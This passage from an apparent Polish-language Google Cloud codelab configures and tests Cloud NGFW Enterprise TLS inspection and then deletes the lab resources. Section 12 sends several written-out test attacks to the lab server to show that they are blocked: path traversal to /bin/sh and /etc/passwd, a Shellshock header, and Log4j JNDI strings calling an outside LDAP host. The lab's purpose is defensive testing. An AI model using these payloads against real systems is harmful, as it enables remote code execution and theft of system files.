      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Importowanie konfiguracji zaufania:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Zaktualizuj plik YAML zasad TLS, aby uwzględnić konfigurację zaufania:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Zaimportuj zaktualizowaną zasadę TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Weryfikowanie inspekcji TLS wschodnio-zachodniej

Połącz się z klientami przez SSH, aby przetestować ruch E/W z aktualną konfiguracją zaufania:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Uruchom przykładowe żądanie TLS do serwera:

curl https://$target_privateip --max-time 2

Jeśli nadal widzisz ten sam wynik, zaczekaj, aż zmiany zostaną rozpowszechnione.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Oczekiwany wynik:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Wysyłanie na serwer złośliwego ruchu testowego:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Oczekiwany wynik:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Nie otrzymano żadnych odpowiedzi zgodnie z oczekiwanym wynikiem podanym poniżej, co potwierdza, że przykładowe ataki są teraz blokowane w przypadku E/W.

13. Logowanie

W konsoli Google Cloud otwórz Logowanie > Eksplorator logów, wpisz filtr podany poniżej i przeprowadź zapytanie dotyczące logów. Zastąp [PROJECT_ID] identyfikatorem projektu:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Wpisy w logach Cloud NGFW Enterprise powinny wyglądać tak:

5b68cc1063c0f4bd.png

Rozwiń wpisy w dzienniku i zwróć uwagę, że ataki wysłane z klienta VM do serwera zostały wykryte i zablokowane (luka w zabezpieczeniach Apache Log4j umożliwiająca zdalne wykonywanie kodu, jak widać na zrzucie ekranu poniżej).

478f18f8481e90ed.png

Udało Ci się wdrożyć Cloud NGFW Enterprise z funkcją TLS Inspection, aby blokować złośliwe żądania.

Aby dowiedzieć się, jak usunąć dane, przejdź do następnej sekcji.

14. Czyszczenie

Czyszczenie podstawowej konfiguracji

Usuń instancje:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

if role tagAdmin i tagUsers zostały zmienione:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Usuń klucz i wartości znacznika:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Usuń zasadę sieciową zapory Cloud Firewall i powiązanie:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Usuń Cloud Router i Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Usuń zarezerwowane adresy IP:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG, Association i TLS Clean-Up

Usuń grupę profili zabezpieczeń i profil zagrożeń w tej kolejności:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Usuń powiązanie punktu końcowego zapory Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Usuń punkt końcowy zapory Cloud Firewall. Może to potrwać około 20 minut:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Opcjonalnie sprawdź, czy punkt końcowy Cloud NGFW został usunięty. W tym celu uruchom to polecenie:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Stan punktu końcowego powinien zawierać:

STATE: DELETING

Po zakończeniu procesu punkt końcowy nie będzie już widoczny na liście.

Usuń zasady TLS i konfigurację zaufania w tej kolejności:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Wyłącz i usuń główny urząd certyfikacji oraz pulę urzędów certyfikacji:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Oczyszczanie pod sieci i sieci VPC

Na koniec usuń podsieć i sieć VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Gratulacje!

Gratulacje! Ukończyłeś/ukończyłaś pracę z codelab Cloud NGFW Enterprise do inspekcji TLS w kierunku wschodnim i północnym.